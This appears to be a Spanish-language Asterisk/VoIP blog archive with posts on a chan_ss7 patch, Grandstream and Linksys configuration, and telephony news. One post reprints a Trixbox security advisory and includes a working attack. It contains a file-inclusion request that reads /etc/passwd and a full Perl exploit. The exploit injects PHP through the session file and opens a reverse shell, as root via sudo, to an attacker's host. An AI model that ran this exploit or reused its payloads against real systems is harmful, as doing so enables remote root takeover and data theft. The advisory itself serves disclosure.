Mostrando entradas con la etiqueta asterisk. Mostrar todas las entradas
Mostrando entradas con la etiqueta asterisk. Mostrar todas las entradas

viernes, 17 de julio de 2009

Overlap dial and chan_ss7

I've installing Asterisk PBX with SS7 links. I got a case where the number dialed comes in more than one message, so first a got most of the digits and then the rest. This is OK, but chan_ss7 v1.1 doesn't support it if Asterisk dialplan can handle the "first" number dialed.

I've tried with a patch from Asterisk-SS7 mai list - the one from hngovi -, but didn't solve the issue. The short story, I wrote a patch and tested a bit, seems to work well in my scenario. Here you have a shot explanation about it:

To consider that DNI is complete, it takes into account 3 things: complete parameter in pvt, en of dial message, and if Asterisk has the extension in its dialplan. The first one is a must, the DNI MUST be complete to start dialing (t35 timeout is also considered). Then, one of two things can happen, end of dialing message or Asterisk can handle the extension. It would be great if you can grab the patch and give some feedback, I've not been able to detect any issue so far.

Here is the patch:


--- chan_ss7-1.1/l4isup.c 2009-07-17 14:58:12.000000000 -0300
+++ chan_ss7-1.1.fameal/l4isup.c 2009-07-17 15:04:22.000000000 -0300
@@ -1618,8 +1618,9 @@ static void handle_complete_address(stru

static void check_iam_sam(struct ss7_chan* pvt)
{
- int complete = (pvt->link->linkset->enable_st && pvt->iam.dni.complete) ||
- ast_exists_extension(pvt->owner, pvt->context, pvt->iam.dni.num, 1, pvt->iam.rni.num);
+ /* fameal: in all cases check if DNI is complete */
+ int complete = pvt->iam.dni.complete &&
+ (pvt->link->linkset->enable_st || ast_exists_extension(pvt->owner, pvt->context, pvt->iam.dni.num, 1, pvt->iam.rni.num));
if (complete) {
pvt->iam.dni.complete = 1;
ast_log(LOG_DEBUG, "Setting iam.dni.complete\n");


PS: This article is written in english to make it useful for everybody.

miércoles, 15 de octubre de 2008

Cliente SIP para iPhone

Más de uno hemos estado esperando un software de estas características para el teléfono. Ya hay un cliente para iPhone! Fring liberó su cliente para iPhone, aparte de dar la posibilidad de registrarse con la gran mayoría de los servicios de mensajería instantánea, permite registrarse con con un servidor SIP. Este servidor puede ser nuestro propio Asterisk.

Para la comodida de todos los "iPhoneros" se puede bajar la aplicación desde Apple Store o haciendo click, teniendo iTunes, en el link de la página de Fring.

Hace unos días tuve la suerte de usarlo y en este momento lo tengo en producción. Utilizando WiFi funciona muy bien, sin ningún problema. Obviamente, no le podemos pedir G729, mucho menos gratis. Todavía me queda la prueba de fuego... 3G. No sé como funcionará pero tal vez valga la pena.

La desventaja que veo es que si uno bloquea el iPhone o vuelve a la pantalla principal, el SIPPhone pierde conexión. Esto no es una limitación de Fring sino del iPhone que no tiene la posibilidad de ejecutar procesos en segundo plano (no se puede pedir todo). Con esto, creo que es más útil usarlo para hacer llamadas que para recibir.

Espero que sirva.


Saludos,

Asterisk y Skype

Dejé un poco descuidado el blog por un tiempo. Ahora vengo con una noticia de hace un tiempo pero que muchos están esperando que suceda. Digium, compañía encargada del desarrollo de Asterisk PBX, y Skype anunciaron la beta de "Skype for Asterisk". Esto permitirá utilizar todas las funcionalidades de Skype dentro de la PBX libre.

Según comentó el vice presidente y general manager para Skype Telecom y Skype for Business, a través de esta alianza buscan poder brindar servicio a pequeñas empresas.

La versión beta de Skype for Asterisk es un módulo channel driver para este último que integra los dispositivos conectados a la PBX con el sistema de llamadas del proveedor propietario. El nueov módulo también permite su utilización para llamadas a la red pública (AKA SkypeOUT).

Las funcionalidades de la versión beta son las siguientes:

  • Hacer, recibir y transferir llamadas Skype desde Asterisk, usando el hardware existente.

  • Ahorro en llamadas "Click to Call" desde sitios webs mediante la utilización de Skype.

  • Manejo de llamadas mediante la utilización de las funciones del plan de discado de Asterisk PBX: ruteo de llamadas, salas de conferencia, voicemail, IVR.



Luego del período beta, el producto será lanzado y comercializado a través de los canales de distribución de Digium. Para poder sumarse a la beta deben suscribirse en este link.

Todos estamos pensando que sería bueno si el módulo es GPL... Este se va a distribuir en dos partes:

  • res_skype: En formato binario y será el que encapsule todo el funcionamiento del protocolo propietario de Skype.

  • chan_skype: Será distribuido con su código fuente, es el encargado de generar el nuevo tipo de canal dentro de Asterisk PBX.


Con esto podemos ver que Skype no abandona su política de protocolo propietario. Por ese motivo hay una gran cantidad de críticas a esta integración.

Con este Artículo abro una encuenta para saber que opinan sobre si deberían avanzar en el desarrollo del nuevo chan_skype o el tan usado chan_sip.

Fuente: Asterisk-Users

martes, 22 de julio de 2008

Seleccionando troncales con ATAs Linksys y FreePBX

Vamos a ver como se puede hacer para que un interno salga, obligadamente, siempre por la misma troncal - o "Ruta Saliente" en FreePBX -. Si tratamos de encontrarlo en la interfaz estándar, parece ser que no se puede hacer a menos que marquemos un prefijo diferenciado, cosa que es bastante incomoda si tenemos que poner uno por cada interno. Esto sigue, un poco, el concepto de extender internos que está desarrollado en otro artículo de este blog.

Ahora voy a explicar como hacerlo con un ATA Linksys - por ejemplo el PAP2 -, también se puede hacer con cualquier otro que brinde la posibilidad de armar un dialplan. Primero tenemos que crear una ruta saliente con la siguiente regla: "919|X." (sin comillas) y que apunte a la troncal para el interno número 1. El 91 lo utilizaremos como prefijo de troncal, es decir que si necesitamos mas troncales crearemos otra ruta saliente con la regla "929|X." luego "939|X." y asi sucesivamente. El último 9 indica que toma línea externa. Estos prefijos son a modo de mantener un orden y coherencia, pero pueden ser modificados tranquilamente.

El segundo paso es armar el plan de discado en el ATA. Linksys tiene una forma de hacerlo un tanto distinta a Asterisk pero muy sencillo. Para acceder a esto debemos hacerlo desde la interfaz web del Linksys en modo Admin Advaced. Dentro de la cuenta, al final de la página vamos a encontrar el dialplan. En este campo debemos poner lo siguiente:

(<:91>9x.|x.|*x.)


Esto es para el interno 1, para el interno 2 solo debemos cambiar el 91 por un 92. No sólo nos agrega el prefijo de troncal, como lo definimos en FreePBX, sino también nos permite marcar cualquier otro número - solo agregará 91 a los números que comiencen con 9 - y los códigos de función que comienzan con *.

El anterior no es un dialplan completo ni mucho menos, pero ese no es el objetivo de este pequeño tutorial. Pueden usar parte y completarlo a su gusto. Para que sepan como se armar un dialplan para Linksys, aca lo explica bien completito.


Espero sirva.

Saludos.

miércoles, 9 de julio de 2008

BUG grave en Trixbox

Han reportado un bug GRAVE en Trixbox. Este permitiría ejecutar código arbitrario y eventualmente obtener una consola con permisos de root.

El autor de este descubrimiento ha posteado el exploit (que brinda una shell con los permisos del usuario "asterisk") en milw0rm y SecurityFocus (BID=30135). Según su post es una lista, luego, se dió cuenta que se puede obtener acceso con permisos de root y los exploits deberían ser actualizados.

Se trata de una vulnerabilidad en la página 'user/index.php', el parámetro 'langChoice'. No se controla que este POST sea correcto y permite la inclusión de un archivo como respuesta.

Abajo se puede ver el post original del bug y el exploit actualizado.

ADVISORY:

Vulnerability Found: 7th July 2008
Vendor informed: 7th July 2008
Severity: Critical
BID: 30135
Successfully tested on: Trixbox CE 2.6.1 and below

Description:
A local file inclusion vulnerability affects Trixbox CE, an
Asterisk-based PBX Phone system. This issue is due to a failure of the
application to properly sanitize POST data assigned to a parameter of
the /user/index.php page.

An attacker may leverage this issue to read local files, execute PHP
scripts and eventually obtain a root shell.

Vulnerable server-side program: '/user/index.php'

Vulnerable parameter: 'langChoice'

Proof of concept:

COMPLETE HTTP REQUEST:

POST /user/index.php HTTP/1.1
Host: 192.168.1.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

langChoice=../../../../../etc/passwd

COMPLETE HTTP RESPONSE:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2008 13:25:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.2
Set-Cookie: PHPSESSID=98b589cad80822c098942d33a1558b9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

1f4a
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
[...]

Consequences:

A remote root shell can be obtained on the affected server.

Fix:

Fonality has stated that they have submitted a fix into SVN and it
will be part of the next update that will go out this week.

Credits:

Jean-Michel BESNARD of LEXSI Audit.

EXPLOIT
#!/usr/bin/perl -w

# Jean-Michel BESNARD / LEXSI Audit
# 2008-07-09
# This is an update of the previous exploit. We can now get a root
shell, thanks to sudo.
#
# perl trixbox_fi_v2.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (:):
192.168.1.132:4444
# Which uid would you like for your shell ? (uid=root will be OK on
most recent trixbox versions only): [root|asterisk]
# root
# Make sure you've opened a server socket on port 4444 at
192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...

# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
# bash: no job control in this shell
# bash-3.1# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# bash-3.1#


use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;

usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);

menu();

sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as_string);
post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid");
}

sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}

sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../../../../../../..$file");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i++){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}

sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $uid = shift;
my $rshell;
if($uid eq "asterisk"){
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"}
(\"JMB\", \"-i\"));'`;?>";

}else{
$rshell = "langChoice='\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM,
getprotobyname('tcp'));connect(S,
sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN,
\">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\",
(\"-i\"));'`;?>";
}
execScript($rshell);
}


sub extractPHPSID{
$_ = shift;
if(/PHPSESSID=(\w+)/){
return $1;
}
}

sub menu{
print <Please listen carefully as our menu option has changed
Choose from the following options:
1> Remote TCP shell
2> Read local file
EOF
my $option = ;
chop($option);
switch($option){
case 1 {
print "Host and port the reverse shell should connect to ? ";
print "(:): ";
my $hp=;
chop($hp);
print "Which uid would you like for your shell ? (uid=root will
be OK on most recent trixbox versions only): [root|asterisk]";
my $uid=;
chop($uid);
my($rhost,$rport) = split(/:/,$hp);
print "Make sure you've opened a server socket on port $rport at
$rhost (e.g, nc -l -p $rport)\n";
print "Press enter to continue...";
;
tcp_reverse_shell($rhost,$rport,$uid);
print "done...\n";
}
case 2 {
while(1){
print "Full path (e.g. /etc/passwd): ";
my $file = ;
chop($file);
print readFile($file) . "\n\n";
}
}
}
}

sub usage{
print "./trixbox_fi.pl \n";
exit 1;
}

miércoles, 30 de abril de 2008

Extender internos de una PBX con Grandstream GXW 4104 y GXW 4004

Siguiendo con los Grandstream de 4 puertos me surgió la necesidad de extender 4 internos de una PBX convencional via IP sin usar Asterisk ni otra central IP. Para ellos, utilicé un Grandstream GXW 4104 (4 FXO) y un GXW 4004 (4 FXS). Aclaro que la idea no fue mía, sino de un cliente y aprendí mucho con eso (GRACIAS HUGO!).


Lo primero que hicimos fue seguir un tutorial que está en la página de Grandstream e indica como hacer que un interno conectado a un FXS del Grandstream tome el puerto FXO que le corresponde.Este es el link al documento.

Esto fue un aporte pero más importante era que FXO y FXS es correpondieran en ambos sentidos. Es decir, todavía nos faltaba que cuando haya un llamado en determinado puerto FXO este se corresponda con el ATA en el otro extremo. El siguiente esquema lo ilustra mejor:

GXW 4104 GXW 4004

FXO 1 <----------> FXS 1
FXO 2 <----------> FXS 2
FXO 3 <----------> FXS 3
FXO 4 <----------> FXS 4

Para hacerlo funcionar en el otro sentido, y tomando como base lo explicado en el tutorial de Grandstream hicimos lo siguiente: en la solapa de FXO Lines, en la sección PSTN to VoIP, como puerto pusimos lo siguiente: "ch1-4:5060++;" (sin comillas). Es lo que hace es realizar la conexión a la IP del la caja FXS al puerto 5060 cuando se recibe una llamada en el puerto FXO 1, al 5062 si se recibe al puerto FXO 2 y así sucesivamente (los dos "+" hacen el incremento de a 2).


Hecho todo, ya está listo para usarse sin problemas. Este esquema está instalado y funcionando ya hace un tiempo.


Espero que sirva.


lunes, 14 de enero de 2008

Grandstream GXW4104 funcionando

Hace tanto que no escribía... estoy con mucho trabajo y no tengo tiempo de escribir mucho. Volví a la carga con el Grandstream GXW4104, esta vez con una línea de Telefónica y un gateway GSM analógico. Por suerte salió todo bien :-)


Para configurar el Grandstream GXW4104 y no tener problemas con la detección de cortes en Argentina, primero hay que actualizar la versión de firmware a la última disponible. Una vez hecho esto, hay que entrar a channels y cargan el tone plan de Argentina. Copien las líneas de acá abajo:

Dial tone: ch1-4:f1=425@-10,f2=425@-10,c=0/0;
Ringback tone: ch1-4:f1=425@-10,f2=425@-10,c=100/450;
Busy Tone: ch1-4:f1=425@-11,f2=425@-11,c=37/32;
Reorder tone: ch1-4:f1=425@-11,f2=425@-11,c=37/32;
Confirmation tone: ch1-4:f1=425@-10,f2=425@-10,c=10/10;

Si bien no encontré la especificación del Confirmation tone, le cambié la frecuencia y la ganancia como los demás.

Como último paso para que funcione, hay que entran a FXO Lines y poner la siguiente configuración:

Enable Current Disconnect: No
Enable Tone Disconnect: Yes
Enable Polarity Reversal: No

De esta forma activación la detección de cortes por tonos. El GXW4104 va a utilizar el tono de Reorder para detectar el corte de comunicación.

Eso es todo, disfruten y espero que sirva!


sábado, 11 de agosto de 2007

Ya está FreePBX 2.3.0rc1

El día 8 de agosto empezó a estar disponible el primer release candidate de FreePBX 2.3, según el anuncio esperan que sea el último.

Luego de miles de pruebas y habiendo tenido muy pocos bugs (ver Bug Tracker) , decidieron pasar de la fase beta a la fase Release Candidate. Esta es para asegurarse de que no queden otros bugs sin resolver y, como dice en su sitio, se trata de nuestro sistema de telefonía.

Entre los bugs resultos, muchos se arrastraban de la versión 2.2. Un asunto pendiente es el soporte para Internet Explorer, que si bien funciona bastante bien con la versión 7 del navegador, están teniendo muchos problemas con la 6 (hurra FIrefox!).

Me parece algo prudente antes de largar la versión final del producto pasar por un estado Release Candidate, esperemos que pronto esté la versión final para poder hacer pruebas.

El anuncio oficial lo pueden encontrar aquí.

Asterisk 1.2.24 la última con normal fixes

Ha salido la nueva versión del brach 1.2 de Asterisk, es la 1.2.24 y es la última que poseerá normal fixes. De aquí en adelante sólo se le realizarán arreglos de seguridad hasta que pase al estado de obsoleta.

Junto con ella también hicieron el realease de Asterisk 1.4.10. Tiene arreglados una serie de bus y un bug de seguridad de concierne al cha_skinny como está documentado en ASA-2007-19.

También se le realizaron fixes en chan_iax2. El crédito se lo llevan los desarrolladores de Wimba que contribuyeron a encontrar los complicados temas presentes en la versión 1.4.

Estas actualizaciones se puede bajar es: http://downloads.digium.com/pub/telephony/asterisk/

Integración de Asterisk con Outlook

Hoy descubrí una aplicación que es muy util. Se llama Outcall y permite integrar Asterisk con Outlook para hacer llamadas y recibir. Emepzó como una aplicación propietaria pero ahora es libre. Obviamente es para Win$.

Las características que ofrece son:
  • Registración con infinita cantidad de cuentas, tanto IAX como SIP,
  • Notificación de las llamadas por medio de un pop-up en tiempo real,
  • Brinda la posibilidad de hacer llamadas dentro de Outlook, dentro de los contactos o de un e-mail,
  • Actualización automática de los datos de contactos,
  • Notificación de las actualizaciones de la aplicación,
  • Mensajes de debugging claros,
  • Y una integración completa con Asterisk.
Usenlo, pruebenlo, es realmente una buena herramienta para lo que quieren integrar Asterisk con Outlook. Accedan a la página del proyecto para encontrar más documentación y poder descargar el software: http://outcall.sourceforge.net/

Grandstream GXW410X para Argentina (continuación)

Las pruebas con mi amigo Grandstream continuan. Tuve que enviar un mail a Grandstream latinoamérica para ver si me podían resolver el problema. Este se trata de que cuando hago una llamada entrante y luego presiono un interno, no sólo no reconoce los dígitos sino que después la llamada se queda colgada, o sea no está detectando el hangup. Por suerte me contestaron al otro día diciendome que ya habían detectado el problema, que lo iban a corregir y me enviarían un firmware de prueba.

Ahora estoy a la espera del firmware, vamos a ver que pasa cuando lo actualice... todo puede suceder...

domingo, 5 de agosto de 2007

Grandstream GXW410X para Argentina

Estuve probando el nuevo producto de Grandstream, el GXW-4104. Tiene 4 FXO, cancelación de eco y un precio más que accesible.

Parece la panacea pero no lo es, estuve teniendo problemas para que detecte el corte de la llamada de era atendida por el voicemail de la persona o nadie atendía. En esos casos, la línewa quedaba ocuapda para siempre.

Después de muchas pruebas pude configurarlo para que funcione bien. Lo logré poniendo los tonos con la configuración de Argentina. Acá les paso las líneas que son necesarias para hacer que el GXW4104 funcione bien:

Dial: ch:1-4,f1=425@-10,f2=425@-10,c=0/0;
Busy: ch:1-4,f1=425@-10,f2=425@-10,c=500/500;
Re-Order: ch:1-4, f1=425@-10, f2=425@-10, c=300/400;

Con estos parámetros seteados, empezó a funcionar decente, pero todavía no quedó 100% bien, voy a seguir haciendo pruebas y actualizando este post.

En la página de Grandstream podemos encontrar un pequeño manual para configurarlo con Asterisk. En este link lo pueden descargar.

viernes, 3 de agosto de 2007

Asterisk hablando con plantas

En el sitio AsteriskPligg hay una nota muy interesante en donde las plantas "hablan" con Asterisk. Es un artículo en inglés pero está muy bueno para ver la cantidad de cosas que se pueden hacer con la PBX libre.
Las plantas tienen censores que informan a la PBX cuando necesitan agua, luz, etc., y esta se encarga de llamar a la persona correspondiente.

Esta noticia fué extraída de VentureVoIP.

lunes, 30 de julio de 2007

Digium adquiere Sokol & Associates

Digium, ya hace un tiempo, adquirió la consultora Sokol & Associates, que hasta ahora fue la encargada de organizar las muy conocidas conferencias de Asterisk llamamdas AstriCon y líder en capacitación sobre el tema.
Lo bueno es que Steve Sokol se unió a Digium, esto no va a dejar que el nivel de la capacitación decaiga y va a aportar gran valor agregado a la PBX libre.
Esperemos que esta sea una buena noticia y que expandan los horizontes de todo lo que hacia Sokol y lleguen a Argentina. Estoy esperando esto para poder hacer la cetificación dCAP.

Para ver el comunicado entren a la pagina de Sokol & Associates.

Muchas versiones de Asterisk

Tal vez hayan notado que ultimamente Digium está haciendo muchos release de Asterisk (tanto del branch 1.2 como 1.4). Se están corrigiendo muchos bugs y hay que tener en cuenta que algunas son muy importantes por la gravedad que tienen estos problemas.
Muchos podrán estar pensando que Asterisk se volvió inestable o algo por el estilo, pero es todo lo contrario, las actualizaciones constantes denotan el gran trabajo que hay detras de la PBX.